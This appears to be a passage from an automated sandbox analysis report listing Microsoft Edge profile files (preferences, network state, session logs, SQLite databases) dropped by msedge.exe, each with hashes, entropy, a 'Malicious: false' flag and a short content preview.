Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.302994819295006
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyD0:F2vu22keBxukOhn
MD5:	90B46E2386024DB7264E402160E5F3B4
SHA1:	3B2E2F784405DFE32CFE038FAF9F0121224877BB
SHA-256:	C56B810798569D26A6B771B8DED39C12F26FAC419F019BC878C6B001FBFA501D
SHA-512:	FA97B24F01A6378FA4A2B3875E9694AC90F0C469E14675FE657DB2F6728C9C9A5D665766F97FE72F533AA89E38C0F0B700C364B85C75867AB6F0083EDD05B186
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF3a2c9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.302994819295006
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyD0:F2vu22keBxukOhn
MD5:	90B46E2386024DB7264E402160E5F3B4
SHA1:	3B2E2F784405DFE32CFE038FAF9F0121224877BB
SHA-256:	C56B810798569D26A6B771B8DED39C12F26FAC419F019BC878C6B001FBFA501D
SHA-512:	FA97B24F01A6378FA4A2B3875E9694AC90F0C469E14675FE657DB2F6728C9C9A5D665766F97FE72F533AA89E38C0F0B700C364B85C75867AB6F0083EDD05B186
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.4424374957355774
Encrypted:	false
SSDEEP:	96:JkIEumQv8m1ccnvSIrqaoLDopeztT1r1a:+IEumQv8m1ccnvS/FTO
MD5:	C02A860AA03D03C15C215A2809B2E4C8
SHA1:	A25ABD2752B559AE64953DD78CA133C513676C8B
SHA-256:	CE83563AEDF295B005315F225298D53EAC27E5EFF001F53AEAA81E039C19303E
SHA-512:	537879E087768619A503F9BD1D6F77881F76758A3E4F9E30D6A29DB5B1B578E62A14FD65D4E4B970DAC17CFE343EE3BF7EC077D379461874CAB6B75D0F12A019
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF26bfe.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF283fb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\adab4129-e369-4b16-af92-2ca13c52b85e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\edc7ae2f-9a87-43bc-b101-83955177c7da.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1832
Entropy (8bit):	5.300685507718392
Encrypted:	false
SSDEEP:	48:YcCpfgCzsyts7fcKsFJC0leeEsFAC9kBKYhbyD0:F2fFg6JhkexAYkBvhn
MD5:	177DDBF25664857A2D667D655E5ACD2F
SHA1:	D0FE61F1B68D398988432BBCF588EA037D9D6009
SHA-256:	C5F0C8531D8EA3ED73143850D2706DCABCFAF724F9F8261778F7A68E02770920
SHA-512:	8AF57874212BDDD0F9CA2671E78B9DF77A8122EB3D13DF1B0DD1D7DA3994D76664E5AE56A98682DB9481E882372D8FE70971E981C9880FEE3DC4934953FA9804
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13380170870081540","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13380170874900220","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377665275441059","port":443,"protocol_str":"quic"}],"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"ser

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9575
Entropy (8bit):	5.112832619159388
Encrypted:	false
SSDEEP:	192:stHkdppsH52yaNP9k0p5m8rbV+FZYQAZvUjPyYJ:stHQpsZ2tJXbG6QgvO
MD5:	673EBEAACB58F20101534FEE5337049B
SHA1:	ACE4FC9DE642B46BD0303ED1A1754CA83062517D
SHA-256:	F6D19C22BCEBC8B373F6DF09006FCDB1E9F3E018724B5DFD1836FFFB19ACE753
SHA-512:	3008584D18D90EFDB4D68066B4C6261744EAE9B12B19271941D9907C29DF6932DA754418FD54A0D55AD4443EF37FD1D8E42408EABADFFAD3C9E4171FF1FBDDA2
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377578866952554","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2af12.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9575
Entropy (8bit):	5.112832619159388
Encrypted:	false
SSDEEP:	192:stHkdppsH52yaNP9k0p5m8rbV+FZYQAZvUjPyYJ:stHQpsZ2tJXbG6QgvO
MD5:	673EBEAACB58F20101534FEE5337049B
SHA1:	ACE4FC9DE642B46BD0303ED1A1754CA83062517D
SHA-256:	F6D19C22BCEBC8B373F6DF09006FCDB1E9F3E018724B5DFD1836FFFB19ACE753
SHA-512:	3008584D18D90EFDB4D68066B4C6261744EAE9B12B19271941D9907C29DF6932DA754418FD54A0D55AD4443EF37FD1D8E42408EABADFFAD3C9E4171FF1FBDDA2
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377578866952554","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2f468.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9575
Entropy (8bit):	5.112832619159388
Encrypted:	false
SSDEEP:	192:stHkdppsH52yaNP9k0p5m8rbV+FZYQAZvUjPyYJ:stHQpsZ2tJXbG6QgvO
MD5:	673EBEAACB58F20101534FEE5337049B
SHA1:	ACE4FC9DE642B46BD0303ED1A1754CA83062517D
SHA-256:	F6D19C22BCEBC8B373F6DF09006FCDB1E9F3E018724B5DFD1836FFFB19ACE753
SHA-512:	3008584D18D90EFDB4D68066B4C6261744EAE9B12B19271941D9907C29DF6932DA754418FD54A0D55AD4443EF37FD1D8E42408EABADFFAD3C9E4171FF1FBDDA2
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377578866952554","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF369a8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9575
Entropy (8bit):	5.112832619159388
Encrypted:	false
SSDEEP:	192:stHkdppsH52yaNP9k0p5m8rbV+FZYQAZvUjPyYJ:stHQpsZ2tJXbG6QgvO
MD5:	673EBEAACB58F20101534FEE5337049B
SHA1:	ACE4FC9DE642B46BD0303ED1A1754CA83062517D
SHA-256:	F6D19C22BCEBC8B373F6DF09006FCDB1E9F3E018724B5DFD1836FFFB19ACE753
SHA-512:	3008584D18D90EFDB4D68066B4C6261744EAE9B12B19271941D9907C29DF6932DA754418FD54A0D55AD4443EF37FD1D8E42408EABADFFAD3C9E4171FF1FBDDA2
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377578866952554","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567940039982939
Encrypted:	false
SSDEEP:	768:u1arezNWP//fJw8F1+UoAYDCx9Tuqh0VfUC9xbog/OVqTW4brwPg9pUtuy:u1arezNWP//fJwu1jabi4w4wtN
MD5:	E262723BC8C25B3065E78C41044343E4
SHA1:	872A416848E4DF7B7E4F382E755EFFDEC353E935
SHA-256:	61BB93E034A6A095396B28D313AAEDB090DA70A9FF353AC9B496E239CDFF5A51
SHA-512:	1F305B2C0F68B1BEB157CCA138D632693427BCDC6765D512730F2162B8AA9C3E0C10F11C2370A0975D5057BB10AEF9AD7BE0A85FFDCD3FB45FD43A8C00925059
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377578865933073","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377578865933073","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF2aafb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567940039982939
Encrypted:	false
SSDEEP:	768:u1arezNWP//fJw8F1+UoAYDCx9Tuqh0VfUC9xbog/OVqTW4brwPg9pUtuy:u1arezNWP//fJwu1jabi4w4wtN
MD5:	E262723BC8C25B3065E78C41044343E4
SHA1:	872A416848E4DF7B7E4F382E755EFFDEC353E935
SHA-256:	61BB93E034A6A095396B28D313AAEDB090DA70A9FF353AC9B496E239CDFF5A51
SHA-512:	1F305B2C0F68B1BEB157CCA138D632693427BCDC6765D512730F2162B8AA9C3E0C10F11C2370A0975D5057BB10AEF9AD7BE0A85FFDCD3FB45FD43A8C00925059
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377578865933073","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377578865933073","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	318
Entropy (8bit):	4.102166356549644
Encrypted:	false
SSDEEP:	6:S85aEFljljljljlgb/llaV932Ha2HDQR35dUA5EEE:S+a8ljljljljlgb/lcKa2jE35H
MD5:	C2CEBE5D0785AE4474EF85F6B0D15EFD
SHA1:	0FB65A000CC49422E8D281EF4E12EED78CA25D9C
SHA-256:	BBD6F9F83F8D4B37FBBC8E92EA76C18D56E670D1D881EEA07C7C2AE6600B2E12
SHA-512:	D6B72A09DE99EA40D7559475749A2509D351A49163192338035D4B0494B2BFBB16BED0418E48A4A524000FF136C209FD5F4C0C2C45A16C6477024D4D7BE4305C
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f................y.b................next-map-id.1.Cnamespace-6f46ec84_9366_48b0_b85e_a5854d4b212e-https://ntp.msn.com/.0V.e................V.e................V.e................V.e................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.1721498730274
Encrypted:	false
SSDEEP:	6:yR54W39+q2PcNwi23oH+TcwtrQMxIFUt85R54zTJZmw+5R54xUuGL9VkwOcNwi2n:yPH4vLZYebCFUt85PkTJ/+5PdLD54ZYM
MD5:	4661E9945E79D2B76CD7BAB05EE59F00
SHA1:	27265C0EEB05601719F7ACD9C8B0EB1C8AC68919
SHA-256:	5CD4EDCFB5A8EFBB2F12F2BEED10571E98601F5D2E4514CECFF402F70F4C4C13
SHA-512:	1A923BCA5CC0EC381099DA1EC54093E10D19A7AAD50F06735F510E0386270F926879F9BC6C4A02384CF19F0E8FF6B41E5C10C9A107DEE0D4BE20954190C40E51
Malicious:	false
Preview:	2024/12/01-21:07:47.399 1c68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/12/01-21:07:47.408 1c68 Recovering log #3.2024/12/01-21:07:47.421 1c68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.1721498730274
Encrypted:	false
SSDEEP:	6:yR54W39+q2PcNwi23oH+TcwtrQMxIFUt85R54zTJZmw+5R54xUuGL9VkwOcNwi2n:yPH4vLZYebCFUt85PkTJ/+5PdLD54ZYM
MD5:	4661E9945E79D2B76CD7BAB05EE59F00
SHA1:	27265C0EEB05601719F7ACD9C8B0EB1C8AC68919
SHA-256:	5CD4EDCFB5A8EFBB2F12F2BEED10571E98601F5D2E4514CECFF402F70F4C4C13
SHA-512:	1A923BCA5CC0EC381099DA1EC54093E10D19A7AAD50F06735F510E0386270F926879F9BC6C4A02384CF19F0E8FF6B41E5C10C9A107DEE0D4BE20954190C40E51
Malicious:	false
Preview:	2024/12/01-21:07:47.399 1c68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/12/01-21:07:47.408 1c68 Recovering log #3.2024/12/01-21:07:47.421 1c68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13377578868452520

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2521
Entropy (8bit):	3.813358702077365
Encrypted:	false
SSDEEP:	48:3WVjtYM9zFKLp2FEkCh2VfHOvHOpQ/ksWo1FxcHOp:3WwMwp2+k6w2vuyDFxcu
MD5:	F664A81914B9AB2B09499A2405F4A92C
SHA1:	E2D7F1C6D4ED962052F5884AEF5327F486913CC1
SHA-256:	90A71D09A09EF427EE61666C84256015D6DA8E5369F171CA8D87EFAA85F01F75
SHA-512:	1A18FB0BB0C4923464DEBD3BD377F58E894FB5BEEBF0FC0D4133DE44514BA10FC435D5435213DAAE789F8CCBC2D9739BAC36A6743081DD3064C9B8CB6A2EBF63
Malicious:	false
Preview:	SNSS.......H.r...........H.r......"H.r...........H.r.......H.r.......I.r.......I.r....!..I.r...............................H.rI.r1..,...I.r$...6f46ec84_9366_48b0_b85e_a5854d4b212e...H.r.......I.r....=a2........H.r...H.r.......................H.r....................5..0...H.r&...{4B3AC14B-43E5-4896-86E8-9E7D502CE1B5}.....H.r.......H.r..........................I.r...........I.r........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x......../..@(.../..@(.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.112658974458419
Encrypted:	false
SSDEEP:	6:yR5mL+q2PcNwi23oH+Tcwt7Uh2ghZIFUt85R5NT1Zmw+5R5NFLVkwOcNwi23oH+Q:yPmyvLZYebIhHh2FUt85PP/+5PrR54Z0
MD5:	6009B6F8C201854025C00DDC3E6161BA
SHA1:	329DD23B039DF7E0470FA3452BFDA92B19B1AE4C
SHA-256:	7708A5156ABD6D3B7C7376F04538601C6346EF77EC6AE7EBD35513C02458A0E6
SHA-512:	D91708C1B73921209713696B8AB734F350908123B3E0C1BFDDAEEEED4E9EB5B61FA5AF9841B79D47FC65632474B494CFB09E91C3BFCD294D6CA10CCA068564B8
Malicious:	false
Preview:	2024/12/01-21:07:46.001 1f18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/12/01-21:07:46.002 1f18 Recovering log #3.2024/12/01-21:07:46.002 1f18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

